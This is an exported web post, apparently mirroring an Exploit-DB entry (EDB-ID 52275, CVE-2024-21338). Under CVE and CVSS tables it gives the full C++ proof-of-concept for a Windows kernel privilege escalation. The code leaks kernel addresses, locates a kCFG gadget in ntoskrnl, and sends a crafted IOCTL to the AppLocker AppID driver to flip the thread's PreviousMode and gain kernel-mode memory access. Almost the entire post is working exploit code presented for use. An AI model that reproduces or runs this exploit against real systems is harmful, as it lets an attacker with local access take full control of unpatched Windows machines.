{"id":934,"date":"2025-04-23T05:59:48","date_gmt":"2025-04-23T05:59:48","guid":{"rendered":"http:\/\/localhost\/?p=934"},"modified":"2025-04-23T05:59:48","modified_gmt":"2025-04-23T05:59:48","slug":"microsoft-windows-11-kernel-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=934","title":{"rendered":"Microsoft Windows 11 &#8211; Kernel Privilege Escalation"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">Microsoft Windows 11 &#8211; Kernel Privilege Escalation<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">EDB-ID:52275<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">exploitdb<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-22T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">7.8<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:3.1\/AV:L\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2024-21338<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nExploit Title: Microsoft Windows 11 &#8211; Kernel Privilege Escalation Date: 2025-04-16 Exploit Author: Milad Karimi (Ex3ptionaL) Contact: miladgrayhat@gmail.com&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: Microsoft Windows 11 &#8211; Kernel Privilege Escalation<br \/>\n<br \/># Date: 2025-04-16<br \/>\n<br \/># Exploit Author: Milad Karimi (Ex3ptionaL)<br \/>\n<br \/># Contact: miladgrayhat@gmail.com<br \/>\n<br \/># Zone-H: www.zone-h.org\/archive\/notifier=Ex3ptionaL<br \/>\n<br \/># Tested on: Win, Ubuntu<br \/>\n<br \/># CVE : CVE-2024-21338<\/p>\n<p>#include &#8220;pch.hpp&#8221;<br \/>\n<br \/>#include &#8220;poc.hpp&#8221;<\/p>\n<p>\/\/ This function is used to set the IOCTL buffer depending on the Windows<br \/>\n<br \/>version<br \/>\n<br \/>void* c_poc::set_ioctl_buffer(size_t* k_thread_offset, OSVERSIONINFOEXW*<br \/>\n<br \/>os_info)<br \/>\n<br \/>{<br \/>\n<br \/> os_info->dwOSVersionInfoSize = sizeof(*os_info);<br \/>\n<br \/> \/\/ Get the OS version<br \/>\n<br \/> NTSTATUS status = RtlGetVersion(os_info);<br \/>\n<br \/> if (!NT_SUCCESS(status)) {<br \/>\n<br \/>  log_err(&#8220;Failed to get OS version!&#8221;);<br \/>\n<br \/>  return nullptr;<br \/>\n<br \/> }<\/p>\n<p> log_debug(&#8220;Windows version detected: %lu.%lu, build: %lu.&#8221;,<br \/>\n<br \/>os_info->dwMajorVersion, os_info->dwMinorVersion, os_info->dwBuildNumber);<\/p>\n<p> \/\/ &#8220;PreviousMode&#8221; offset in ETHREAD structure<br \/>\n<br \/> *k_thread_offset = 0x232;<br \/>\n<br \/> \/\/ Set the &#8220;AipSmartHashImageFile&#8221; function buffer depending on the<br \/>\n<br \/>Windows version<br \/>\n<br \/> void* ioctl_buffer_alloc = os_info->dwBuildNumber < 22000\n<br \/>  ? malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W10))<br \/>\n<br \/>  : malloc(sizeof(AIP_SMART_HASH_IMAGE_FILE_W11));<\/p>\n<p> return ioctl_buffer_alloc;<br \/>\n<br \/>}<\/p>\n<p>\/\/ This function is used to get the ETHREAD address through the<br \/>\n<br \/>SystemHandleInformation method that is used to get the address of the<br \/>\n<br \/>current thread object based on the pseudo handle -2<br \/>\n<br \/>UINT_PTR c_poc::get_ethread_address()<br \/>\n<br \/>{<br \/>\n<br \/> \/\/ Duplicate the pseudo handle -2 to get the current thread object<br \/>\n<br \/> HANDLE h_current_thread_pseudo = reinterpret_cast<HANDLE>(-2);<br \/>\n<br \/> HANDLE h_duplicated_handle = {};<\/p>\n<p> if (!DuplicateHandle(<br \/>\n<br \/>  reinterpret_cast<HANDLE>(-1),<br \/>\n<br \/>  h_current_thread_pseudo,<br \/>\n<br \/>  reinterpret_cast<HANDLE>(-1),<br \/>\n<br \/>  &#038;h_duplicated_handle,<br \/>\n<br \/>  NULL,<br \/>\n<br \/>  FALSE,<br \/>\n<br \/>  DUPLICATE_SAME_ACCESS))<br \/>\n<br \/> {<br \/>\n<br \/>  log_err(&#8220;Failed to duplicate handle, error: %lu&#8221;, GetLastError());<br \/>\n<br \/>  return EXIT_FAILURE;<br \/>\n<br \/> }<\/p>\n<p> NTSTATUS status = {};<br \/>\n<br \/> ULONG ul_bytes = {};<br \/>\n<br \/> PSYSTEM_HANDLE_INFORMATION h_table_info = {};<br \/>\n<br \/> \/\/ Get the current thread object address<br \/>\n<br \/> while ((status = NtQuerySystemInformation(SystemHandleInformation,<br \/>\n<br \/>h_table_info, ul_bytes, &#038;ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH)<br \/>\n<br \/> {<br \/>\n<br \/>  if (h_table_info != NULL)<br \/>\n<br \/>   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),<br \/>\n<br \/>HEAP_ZERO_MEMORY, h_table_info, (2 * (SIZE_T)ul_bytes));<br \/>\n<br \/>  else<br \/>\n<br \/>   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),<br \/>\n<br \/>HEAP_ZERO_MEMORY, (2 * (SIZE_T)ul_bytes));<br \/>\n<br \/> }<\/p>\n<p> UINT_PTR ptr_token_address = 0;<br \/>\n<br \/> if (NT_SUCCESS(status)) {<br \/>\n<br \/>  for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {<br \/>\n<br \/>   if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &#038;&#038;<br \/>\n<br \/>    h_table_info->Handles[i].HandleValue ==<br \/>\n<br \/>    reinterpret_cast<USHORT>(h_duplicated_handle)) {<br \/>\n<br \/>    ptr_token_address =<br \/>\n<br \/>     reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);<br \/>\n<br \/>    break;<br \/>\n<br \/>   }<br \/>\n<br \/>  }<br \/>\n<br \/> }<br \/>\n<br \/> else {<br \/>\n<br \/>  if (h_table_info) {<br \/>\n<br \/>   log_err(&#8220;NtQuerySystemInformation failed, (code: 0x%X)&#8221;, status);<br \/>\n<br \/>   NtClose(h_duplicated_handle);<br \/>\n<br \/>  }<br \/>\n<br \/> }<\/p>\n<p> return ptr_token_address;<br \/>\n<br \/>}<\/p>\n<p>\/\/ This function is used to get the FileObject address through the<br \/>\n<br \/>SystemHandleInformation method that is used to get the address of the file<br \/>\n<br \/>object.<br \/>\n<br \/>UINT_PTR c_poc::get_file_object_address()<br \/>\n<br \/>{<br \/>\n<br \/> \/\/ Create a dummy file to get the file object address<br \/>\n<br \/> HANDLE h_file = CreateFileW(L&#8221;C:\\\\Users\\\\Public\\\\example.txt&#8221;,<br \/>\n<br \/>  GENERIC_READ | GENERIC_WRITE,<br \/>\n<br \/>  FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,<br \/>\n<br \/>  CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);<br \/>\n<br \/> if (h_file == INVALID_HANDLE_VALUE) {<br \/>\n<br \/>  log_err(&#8220;Failed to open dummy file, error: %lu&#8221;, GetLastError());<br \/>\n<br \/>  return EXIT_FAILURE;<br \/>\n<br \/> }<\/p>\n<p> \/\/ Get the file object address<br \/>\n<br \/> NTSTATUS status = {};<br \/>\n<br \/> ULONG ul_bytes = 0;<br \/>\n<br \/> PSYSTEM_HANDLE_INFORMATION h_table_info = NULL;<br \/>\n<br \/> while ((status = NtQuerySystemInformation(<br \/>\n<br \/>  SystemHandleInformation, h_table_info, ul_bytes,<br \/>\n<br \/>  &#038;ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {<br \/>\n<br \/>  if (h_table_info != NULL)<br \/>\n<br \/>   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(),<br \/>\n<br \/>HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);<br \/>\n<br \/>  else<br \/>\n<br \/>   h_table_info = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(),<br \/>\n<br \/>HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);<\/p>\n<p> }<\/p>\n<p> UINT_PTR token_address = 0;<br \/>\n<br \/> if (NT_SUCCESS(status)) {<br \/>\n<br \/>  for (ULONG i = 0; i < h_table_info->NumberOfHandles; i++) {<br \/>\n<br \/>   if (h_table_info->Handles[i].UniqueProcessId == GetCurrentProcessId() &#038;&#038;<br \/>\n<br \/>    h_table_info->Handles[i].HandleValue ==<br \/>\n<br \/>    reinterpret_cast<USHORT>(h_file)) {<br \/>\n<br \/>    token_address =<br \/>\n<br \/>     reinterpret_cast<UINT_PTR>(h_table_info->Handles[i].Object);<br \/>\n<br \/>    break;<br \/>\n<br \/>   }<br \/>\n<br \/>  }<br \/>\n<br \/> }<\/p>\n<p> return token_address;<br \/>\n<br \/>}<\/p>\n<p>\/\/ This function is used to get the kernel module address based on the<br \/>\n<br \/>module name<br \/>\n<br \/>UINT_PTR c_poc::get_kernel_module_address(const char* target_module)<br \/>\n<br \/>{<br \/>\n<br \/> \/\/ Get the kernel module address based on the module name<br \/>\n<br \/> NTSTATUS status = {};<br \/>\n<br \/> ULONG ul_bytes = {};<br \/>\n<br \/> PSYSTEM_MODULE_INFORMATION h_table_info = {};<br \/>\n<br \/> while ((status = NtQuerySystemInformation(<br \/>\n<br \/>  SystemModuleInformation, h_table_info, ul_bytes,<br \/>\n<br \/>  &#038;ul_bytes)) == STATUS_INFO_LENGTH_MISMATCH) {<br \/>\n<br \/>  if (h_table_info != NULL)<br \/>\n<br \/>   h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapReAlloc(GetProcessHeap(),<br \/>\n<br \/>HEAP_ZERO_MEMORY, h_table_info, 2 * (SIZE_T)ul_bytes);<br \/>\n<br \/>  else<br \/>\n<br \/>   h_table_info = (PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(),<br \/>\n<br \/>HEAP_ZERO_MEMORY, 2 * (SIZE_T)ul_bytes);<br \/>\n<br \/> }<\/p>\n<p> if (NT_SUCCESS(status)) {<br \/>\n<br \/>  for (ULONG i = 0; i < h_table_info->ModulesCount; i++) {<br \/>\n<br \/>   if (strstr(h_table_info->Modules[i].Name, target_module) != nullptr) {<br \/>\n<br \/>    return reinterpret_cast<UINT_PTR>(<br \/>\n<br \/>     h_table_info->Modules[i].ImageBaseAddress);<br \/>\n<br \/>   }<br \/>\n<br \/>  }<br \/>\n<br \/> }<\/p>\n<p> return 0;<br \/>\n<br \/>}<\/p>\n<p>\/\/ This function is used to scan the section for the pattern.<br \/>\n<br \/>BOOL c_poc::scan_section_for_pattern(HANDLE h_process, LPVOID<br \/>\n<br \/>lp_base_address, SIZE_T dw_size, BYTE* pattern, SIZE_T pattern_size,<br \/>\n<br \/>LPVOID* lp_found_address) {<br \/>\n<br \/> std::unique_ptr<BYTE[]> buffer(new BYTE[dw_size]);<br \/>\n<br \/> SIZE_T bytes_read = {};<br \/>\n<br \/> if (!ReadProcessMemory(h_process, lp_base_address, buffer.get(), dw_size,<br \/>\n<br \/>  &#038;bytes_read)) {<br \/>\n<br \/>  return false;<br \/>\n<br \/> }<\/p>\n<p> for (SIZE_T i = 0; i < dw_size - pattern_size; i++) {\n<br \/>  if (memcmp(pattern, &#038;buffer[i], pattern_size) == 0) {<br \/>\n<br \/>   *lp_found_address = reinterpret_cast<LPVOID>(<br \/>\n<br \/>    reinterpret_cast<DWORD_PTR>(lp_base_address) + i);<br \/>\n<br \/>   return true;<br \/>\n<br \/>  }<br \/>\n<br \/> }<\/p>\n<p> return false;<br \/>\n<br \/>}<\/p>\n<p>\/\/ This function is used to find the pattern in the module, in this case<br \/>\n<br \/>the pattern is the nt!ExpProfileDelete function<br \/>\n<br \/>UINT_PTR c_poc::find_pattern(HMODULE h_module)<br \/>\n<br \/>{<br \/>\n<br \/> UINT_PTR relative_offset = {};<\/p>\n<p> auto* p_dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(h_module);<br \/>\n<br \/> auto* p_nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(<br \/>\n<br \/>  reinterpret_cast<LPBYTE>(h_module) + p_dos_header->e_lfanew);<br \/>\n<br \/> auto* p_section_header = IMAGE_FIRST_SECTION(p_nt_headers);<\/p>\n<p> LPVOID lp_found_address = nullptr;<\/p>\n<p> for (WORD i = 0; i < p_nt_headers->FileHeader.NumberOfSections; i++) {<br \/>\n<br \/>  if (strcmp(reinterpret_cast<CHAR*>(p_section_header[i].Name), &#8220;PAGE&#8221;) ==<br \/>\n<br \/>   0) {<br \/>\n<br \/>   LPVOID lp_section_base_address =<br \/>\n<br \/>    reinterpret_cast<LPVOID>(reinterpret_cast<LPBYTE>(h_module) +<br \/>\n<br \/>     p_section_header[i].VirtualAddress);<br \/>\n<br \/>   SIZE_T dw_section_size = p_section_header[i].Misc.VirtualSize;<\/p>\n<p>   \/\/ Pattern to nt!ExpProfileDelete<br \/>\n<br \/>   BYTE pattern[] = { 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83,<br \/>\n<br \/>    0x79, 0x30, 0x00, 0x48, 0x8B, 0xD9, 0x74 };<br \/>\n<br \/>   SIZE_T pattern_size = sizeof(pattern);<\/p>\n<p>   if (this->scan_section_for_pattern(<br \/>\n<br \/>    GetCurrentProcess(), lp_section_base_address, dw_section_size,<br \/>\n<br \/>    pattern, pattern_size, &#038;lp_found_address)) {<br \/>\n<br \/>    relative_offset = reinterpret_cast<UINT_PTR>(lp_found_address) &#8211;<br \/>\n<br \/>     reinterpret_cast<UINT_PTR>(h_module);<br \/>\n<br \/>   }<\/p>\n<p>   break;<br \/>\n<br \/>  }<br \/>\n<br \/> }<\/p>\n<p> return relative_offset;<br \/>\n<br \/>}<\/p>\n<p>\/\/ This function is used to send the IOCTL request to the driver, in this<br \/>\n<br \/>case the AppLocker driver through the AipSmartHashImageFile IOCTL<br \/>\n<br \/>bool c_poc::send_ioctl_request(HANDLE h_device, PVOID input_buffer, size_t<br \/>\n<br \/>input_buffer_length)<br \/>\n<br \/>{<br \/>\n<br \/> IO_STATUS_BLOCK io_status = {};<br \/>\n<br \/> NTSTATUS status =<br \/>\n<br \/>  NtDeviceIoControlFile(h_device, nullptr, nullptr, nullptr, &#038;io_status,<br \/>\n<br \/>   this->IOCTL_AipSmartHashImageFile, input_buffer,<br \/>\n<br \/>   input_buffer_length, nullptr, 0);<br \/>\n<br \/> return NT_SUCCESS(status);<br \/>\n<br \/>}<\/p>\n<p>\/\/ This function executes the exploit<br \/>\n<br \/>bool c_poc::act() {<br \/>\n<br \/> \/\/ Get the OS version, set the IOCTL buffer and open a handle to the<br \/>\n<br \/>AppLocker driver<br \/>\n<br \/> OSVERSIONINFOEXW os_info = {};<br \/>\n<br \/> size_t offset_of_previous_mode = {};<br \/>\n<br \/> auto ioctl_buffer = this->set_ioctl_buffer(&#038;offset_of_previous_mode,<br \/>\n<br \/>&#038;os_info);<\/p>\n<p> if (!ioctl_buffer) {<br \/>\n<br \/>  log_err(&#8220;Failed to allocate the correct buffer to send on the IOCTL<br \/>\n<br \/>request.&#8221;);<br \/>\n<br \/>  return false;<br \/>\n<br \/> }<\/p>\n<p> \/\/ Open a handle to the AppLocker driver<br \/>\n<br \/> OBJECT_ATTRIBUTES object_attributes = {};<br \/>\n<br \/> UNICODE_STRING appid_device_name = {};<br \/>\n<br \/> RtlInitUnicodeString(&#038;appid_device_name, L&#8221;\\\\Device\\\\AppID&#8221;);<br \/>\n<br \/> InitializeObjectAttributes(&#038;object_attributes, &#038;appid_device_name,<br \/>\n<br \/>OBJ_CASE_INSENSITIVE, NULL, NULL, NULL);<\/p>\n<p> IO_STATUS_BLOCK io_status = {};<br \/>\n<br \/> HANDLE h_device = {};<br \/>\n<br \/> NTSTATUS status = NtCreateFile(&#038;h_device, GENERIC_READ | GENERIC_WRITE,<br \/>\n<br \/>  &#038;object_attributes, &#038;io_status, NULL, FILE_ATTRIBUTE_NORMAL,<br \/>\n<br \/>  FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, 0, NULL, 0);<\/p>\n<p> if (!NT_SUCCESS(status))<br \/>\n<br \/> {<br \/>\n<br \/>  log_debug(&#8220;Failed to open a handle to the AppLocker driver (%ls) (code:<br \/>\n<br \/>0x%X)&#8221;, appid_device_name.Buffer, status);<br \/>\n<br \/>  return false;<br \/>\n<br \/> }<\/p>\n<p> log_debug(&#8220;AppLocker (AppId) handle opened: 0x%p&#8221;, h_device);<\/p>\n<p> log_debug(&#8220;Leaking the current ETHREAD address.&#8221;);<\/p>\n<p> \/\/ Get the ETHREAD address, FileObject address, KernelBase address and the<br \/>\n<br \/>relative offset of the nt!ExpProfileDelete function<br \/>\n<br \/> auto e_thread_address = this->get_ethread_address();<br \/>\n<br \/> auto file_obj_address = this->get_file_object_address();<\/p>\n<p> auto ntoskrnl_kernel_base_address =<br \/>\n<br \/>this->get_kernel_module_address(&#8220;ntoskrnl.exe&#8221;);<br \/>\n<br \/> auto ntoskrnl_user_base_address =<br \/>\n<br \/>LoadLibraryExW(L&#8221;C:\\\\Windows\\\\System32\\\\ntoskrnl.exe&#8221;, NULL, NULL);<\/p>\n<p> if (!e_thread_address &#038;&#038; !ntoskrnl_kernel_base_address &#038;&#038;<br \/>\n<br \/>!ntoskrnl_user_base_address &#038;&#038; !file_obj_address)<br \/>\n<br \/> {<br \/>\n<br \/>  log_debug(&#8220;Failed to fetch the ETHREAD\/FileObject\/KernelBase addresses.&#8221;);<br \/>\n<br \/>  return false;<br \/>\n<br \/> }<\/p>\n<p> log_debug(&#8220;ETHREAD address leaked: 0x%p&#8221;, e_thread_address);<br \/>\n<br \/> log_debug(&#8220;Feching the ExpProfileDelete (user cfg gadget) address.&#8221;);<br \/>\n<br \/> auto relative_offset = this->find_pattern(ntoskrnl_user_base_address);<br \/>\n<br \/> UINT_PTR kcfg_gadget_address = (ntoskrnl_kernel_base_address +<br \/>\n<br \/>relative_offset);<\/p>\n<p> ULONG_PTR previous_mode = (e_thread_address + offset_of_previous_mode);<br \/>\n<br \/> log_debug(&#8220;Current ETHREAD PreviousMode address -> 0x%p&#8221;, previous_mode);<br \/>\n<br \/> log_debug(&#8220;File object address -> 0x%p&#8221;, file_obj_address);<\/p>\n<p> log_debug(&#8220;kCFG Kernel Base address -> 0x%p&#8221;,<br \/>\n<br \/>ntoskrnl_kernel_base_address);<br \/>\n<br \/> log_debug(&#8220;kCFG User Base address -> 0x%p&#8221;, ntoskrnl_user_base_address);<br \/>\n<br \/> log_debug(&#8220;kCFG Gadget address -> 0x%p&#8221;, kcfg_gadget_address);<\/p>\n<p> \/\/ Set the IOCTL buffer depending on the Windows version<br \/>\n<br \/> size_t ioctl_buffer_length = {};<br \/>\n<br \/> CFG_FUNCTION_WRAPPER kcfg_function = {};<br \/>\n<br \/> if (os_info.dwBuildNumber < 22000) {\n<br \/>  AIP_SMART_HASH_IMAGE_FILE_W10* w10_ioctl_buffer =<br \/>\n<br \/>(AIP_SMART_HASH_IMAGE_FILE_W10*)ioctl_buffer;<\/p>\n<p>  kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;<br \/>\n<br \/>  \/\/ Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in<br \/>\n<br \/>ObfDereferenceObjectWithTag<br \/>\n<br \/>  UINT_PTR previous_mode_obf = previous_mode + 0x30;<\/p>\n<p>  w10_ioctl_buffer->FirstArg = previous_mode_obf; \/\/ +0x00<br \/>\n<br \/>  w10_ioctl_buffer->Value = (PVOID)file_obj_address; \/\/ +0x08<br \/>\n<br \/>  w10_ioctl_buffer->PtrToFunctionWrapper = &#038;kcfg_function; \/\/ +0x10<\/p>\n<p>  ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W10);<br \/>\n<br \/> }<br \/>\n<br \/> else<br \/>\n<br \/> {<br \/>\n<br \/>  AIP_SMART_HASH_IMAGE_FILE_W11* w11_ioctl_buffer =<br \/>\n<br \/>(AIP_SMART_HASH_IMAGE_FILE_W11*)ioctl_buffer;<\/p>\n<p>  kcfg_function.FunctionPointer = (PVOID)kcfg_gadget_address;<br \/>\n<br \/>  \/\/ Add 0x30 because of lock xadd qword ptr [rsi-30h], rbx in<br \/>\n<br \/>ObfDereferenceObjectWithTag<br \/>\n<br \/>  UINT_PTR previous_mode_obf = previous_mode + 0x30;<\/p>\n<p>  w11_ioctl_buffer->FirstArg = previous_mode_obf; \/\/ +0x00<br \/>\n<br \/>  w11_ioctl_buffer->Value = (PVOID)file_obj_address; \/\/ +0x08<br \/>\n<br \/>  w11_ioctl_buffer->PtrToFunctionWrapper = &#038;kcfg_function; \/\/ +0x10<br \/>\n<br \/>  w11_ioctl_buffer->Unknown = NULL; \/\/ +0x18<\/p>\n<p>  ioctl_buffer_length = sizeof(AIP_SMART_HASH_IMAGE_FILE_W11);<br \/>\n<br \/> }<\/p>\n<p> \/\/ Send the IOCTL request to the driver<br \/>\n<br \/> log_debug(&#8220;Sending IOCTL request to 0x22A018 (AipSmartHashImageFile)&#8221;);<br \/>\n<br \/> char* buffer = (char*)malloc(sizeof(CHAR));<br \/>\n<br \/> if (ioctl_buffer)<br \/>\n<br \/> {<br \/>\n<br \/>  log_debug(&#8220;ioctl_buffer -> 0x%p size: %d&#8221;, ioctl_buffer,<br \/>\n<br \/>ioctl_buffer_length);<\/p>\n<p>  if (!this->send_ioctl_request(h_device, ioctl_buffer,<br \/>\n<br \/>ioctl_buffer_length))<br \/>\n<br \/>   return false;<\/p>\n<p>  NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)buffer,<br \/>\n<br \/>(PVOID)previous_mode, sizeof(CHAR), nullptr);<br \/>\n<br \/>  log_debug(&#8220;Current PreviousMode -> %d&#8221;, *buffer);<\/p>\n<p>  \/\/ From now on all Read\/Write operations will be done in Kernel Mode.<br \/>\n<br \/> }<\/p>\n<p> log_debug(&#8220;Restoring&#8230;&#8221;);<br \/>\n<br \/> \/\/ Restores PreviousMode to 1 (user-mode).<br \/>\n<br \/> *buffer = 1;<br \/>\n<br \/> NtWriteVirtualMemory(GetCurrentProcess(), (PVOID)previous_mode,<br \/>\n<br \/>(PVOID)buffer, sizeof(CHAR), nullptr);<br \/>\n<br \/> log_debug(&#8220;Current PreviousMode -> %d&#8221;, *buffer);<\/p>\n<p> \/\/ Free the allocated memory and close the handle to the AppLocker driver<br \/>\n<br \/> free(ioctl_buffer);<br \/>\n<br \/> free(buffer);<br \/>\n<br \/> NtClose(h_device);<\/p>\n<p> return true;<br \/>\n<br \/>}\n<\/div>\n<p><a href=\"https:\/\/www.exploit-db.com\/exploits\/52275\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title Microsoft Windows 11 &#8211; Kernel Privilege Escalation Exploit ID EDB-ID:52275 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-934","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Microsoft Windows 11 - Kernel Privilege Escalation - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=934\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Microsoft Windows 11 - Kernel Privilege Escalation - zero redgem\" \/>\n<meta property=\"og:description\" content=\"Exploit Details Basic Information Exploit Title Microsoft Windows 11 &#8211; Kernel Privilege Escalation Exploit ID EDB-ID:52275 Type exploitdb Published 2025-04-22T00:00:00 Modified 2025-04-22T00:00:00 CVSS Information CVSS...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=934\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-23T05:59:48+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=934#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=934\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"Microsoft Windows 11 &#8211; Kernel Privilege Escalation\",\"datePublished\":\"2025-04-23T05:59:48+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=934\"},\"wordCount\":1870,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-7.8\",\"exploit\",\"exploitdb\",\"HIGH\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=934#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=934\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=934\",\"name\":\"Microsoft Windows 11 - Kernel Privilege Escalation - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-04-23T05:59:48+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=934#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=934\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=934#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Microsoft Windows 11 &#8211; Kernel Privilege Escalation\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero 